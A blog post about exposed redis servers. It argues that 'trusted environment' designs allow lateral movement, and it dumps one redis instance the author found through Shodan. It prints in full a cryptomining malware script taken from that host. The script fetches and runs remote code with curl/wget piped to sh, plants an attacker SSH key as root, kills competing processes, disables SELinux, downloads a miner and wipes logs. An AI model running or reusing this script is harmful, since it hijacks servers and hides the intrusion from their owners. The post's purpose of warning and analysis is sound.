It pains me to say this, but trust is over-rated. You see I grew up in an era of Internet trust. Where you could just expect people would not sniff your telnet password, that port-25 wouldn’t be abused to send spam.
I just wrote about etcd, and how its ideal deployment model (trust everyone who can talk to you) is letting people down. You see, that’s something that people just miss, and it gets out on the Internet.
In the last few weeks we have seen huge DDoS happening due to memcached being exposed. And now lets examine redis. It too suggests
Redis is designed to be accessed by trusted clients inside trusted environments.
and, as we can see below, well, it got out. According to the usual oracle Shodan.io, there are >20K of them accessible. But, would it be sufficient to slap a firewal up and call it a day? No I say.
Why do I say no? Well, I think the concept of ‘trusted environment’ is not binary enough for ‘Internet bad, all else good’. You see, redis, like etcd and memcached, will be used for all internal things to connect to. This means you are effectively allowing anything inside your firewall to have the universe. And that allows lateral traveral. You are now as strong as your weakest link. With the etcd, we saw that we can read+control the SDN, the firewall of the container infrastructure (Kubernetes, Calico, Flannel, Docker). With redis, people put all sorts of things in there. Lets examine this real-example. I use Shodan to find which hosts exposed redis, and I did a dump of one of them. What did we get? (note I mildly anonymised this).
We have, well, lots. We can see that he has a set of scripts that are fetched over the Internet and run as root. Nice.
We can also see which ssh keys we can use to access. What cron jobs are installed, and my, they also fetch scripts to run. We can see what firewall ports are open, and how. Glad to see selinux is disabled, who would want that nuisance?
Now, digging in under the hood, I think this might be malware. It seems to enable some crypto-miner, specifically monero, to this pool “stratum+tcp://96.246.210.160:80“. I guess if we find ‘DAVE’ and see if he has DAVEKEY, we’ll know.
Anyone else see a problem with the below? Or worry a little bit more about ‘the cloud’ and its ‘security’?
Trusted environment. You need to slice that much more finely that ‘the universe’ and I think more finely than ‘inside/outside’. Protect the east from the west, not just the north from the south.
$ redis-dump -h XX.230.90.145 SET c0 '*/2 * * * * curl -fsSL http://XX.73.251.157:81/bar.sh | sh' SET c1 '*/4 * * * * curl -fsSL http://XX.73.251.157:81/bar.sh | sh' SET w0 '*/3 * * * * wget -q -O- http://XX.73.251.157:81/bar.sh | sh' SET w1 '*/5 * * * * wget -q -O- http://XX.73.251.157:81/bar.sh | sh' $ curl -fsSL http://XX.73.251.157:81/bar.sh #!/bin/bash HOST=XX.73.251.157:81 DAVEKEY="ssh-rsa XXXXXXXXXXXXX+i/RgzNGgGxiqSnFSAzAuNe6QM9hsXEypzo1nvBonSchc2xc7woBVN1aGteRzFiopyvoeFkruwoTzMfEXIvyo99qhVZch+4iHkiD6fAe5fXE5Pb80UYCj8FPIxEbifzQx9siG6sZaZKolmIR7WjMKpyROFCtbPL2MLAr9gVrrU+w5uuirv5XKDcymyFpbRstE7gdhOcbh2OTGgaQmGWO7/l6Bg2nST63PG0+9f9cZLxGW+BgodCt+tuEMM8fymI5ogp03gx6Jj/RrN3EnFmRx9aLAH7 Jackal" DK=$(grep "$DAVEKEY" /root/.ssh/authorized_keys | wc -l) if [ "$DK" -eq 0 ];then echo "$DAVEKEY" > /root/.ssh/authorized_keys fi sleep 1 ps x | awk '!/awk/ && /redis-server/ {print $1}' | xargs kill -9 2>/dev/null ps x | awk '!/awk/ && /linuxs|linuxl|crawler\.weibo/ {print $1}' | xargs kill -9 2>/dev/null ps x | awk '!/awk/ && /243\/44444|cryptonight|stratum|gpg-daemon|jobs\.flu\.cc|nmap/ {print $1}' | xargs kill -9 2>/dev/null ps x | awk '!/awk/ && /cranberry|start\.sh|watch\.sh|krun\.sh|killTop\.sh|cpuminer|\/60009|ssh_deny\.sh|clean\.sh/ {print $1}' | xargs kill -9 2>/dev/null ps x | awk '!/awk/ && /\.\/over|mrx1/ {print $1}' | xargs kill -9 2>/dev/null ps x | awk '!/awk/ && /redisscan|ebscan|redis-cli/ {print $1}' | xargs kill -9 2>/dev/null ps x | awk '!/awk/ && /barad_agent|\.sr0|gpg-agentd|clay|udevs|kworkers|\.sshd|\/tmp\/init/ {print $1}' | xargs kill -9 2>/dev/null sleep 1 CRON () { if [ -x /usr/bin/wget ] ; then echo '*/5 * * * * wget -q -O- http://XX.73.251.157:81/bar.sh | sh' > /tmp/.bla.cron echo 'wget -q -O- http://XX.73.251.157:81/bar.sh | sh' > /etc/rc.local elif [ -x /usr/bin/curl ] ; then echo '*/5 * * * * curl -fsSL http://XX.73.251.157:81/bar.sh | sh' > /tmp/.bla.cron echo 'curl -fsSL http://XX.73.251.157:81/bar.sh | sh' > /etc/rc.local fi crontab -r crontab /tmp/.bla.cron rm -f /tmp/.bla.cron echo 'exit 0' >> /etc/rc.local } FIRE () { iptables -I INPUT 1 -p tcp --match multiport --dports 6370:7006 -j DROP 2>/dev/null iptables -I INPUT 1 -p tcp --match multiport --dports 6370:7006 -s 127.0.0.1 -j ACCEPT 2>/dev/null sleep 1 echo SELINUX=disabled > /etc/sysconfig/selinux 2>/dev/null sleep 1 cat < /etc/security/limits.conf * hard nofile 25000 * soft nofile 25000 root hard nofile 25000 root soft nofile 25000 EOF } PSCAN () { if [ ! -x "/tmp/crondb" ];then chmod +x /tmp/crondb fi PS0=$(ps aux | grep crondb | grep -v "grep" | wc -l) if [ $PS0 -eq 1 ];then return elif [ $PS0 -eq 0 ];then /tmp/crondb -c /tmp/c.j -B elif [ $PS0 -gt 1 ];then pkill -f crondb /tmp/crondb -c /tmp/c.j -B fi } DOWNLOAD () { if [ ! -f "/tmp/crondb" ];then if [ -x /usr/bin/wget ];then wget http://XX.73.251.157:81/crondb -O /tmp/crondb && chmod +x /tmp/crondb && wget http://XX.73.251.157:81/c.j -O /tmp/c.j #wget http://$HOST/crondb -O /tmp/crondb && chmod +x /tmp/crondb && wget http://$HOST/c.j -O /tmp/c.j elif [ -x /usr/bin/curl ];then #curl http://$HOST/crondb -o /tmp/crondb && chmod +x /tmp/crondb && curl http://$HOST/c.j -o /tmp/c.j curl http://XX.73.251.157:81/crondb -o /tmp/crondb && chmod +x /tmp/crondb && curl http://XX.73.251.157:81/c.j -o /tmp/c.j fi fi } FIRE CRON DOWNLOAD PSCAN echo 0 > /var/spool/mail/root echo 0 > /var/log/wtmp echo 0 > /var/log/secure echo 0 > /root/.bash_history exit 0
Leave a Reply